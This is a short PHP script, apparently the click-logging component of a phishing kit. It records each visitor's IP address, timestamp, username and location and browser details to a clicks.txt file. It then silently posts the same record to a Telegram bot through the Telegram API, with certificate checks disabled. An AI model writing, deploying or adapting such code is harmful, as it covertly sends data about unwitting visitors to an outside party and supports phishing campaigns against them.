<?php
require_once 'main.php';
require_once 'config/settings.php';

$ip = getenv("REMOTE_ADDR");
$agnet = $_SERVER['HTTP_USER_AGENT'];
$date = date("Y-m-d H:i:s");

$message .= "||" . $UserName . "||\n";
$message .= "\n";
$message .= "➡️ $ip - $cn - $os - $br - $date\n";

$save = fopen("clicks.txt", "a+");
fwrite($save, $message);
fclose($save);

if (!empty($bot_token) && !empty($chat_id)) {
    $apiUrl = "https://api.telegram.org/bot$bot_token/sendMessage";
    $params = [
        'chat_id' => $chat_id,
        'text' => $message,
        'parse_mode' => 'HTML'
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $apiUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $result = curl_exec($ch);
    curl_close($ch);
}
?>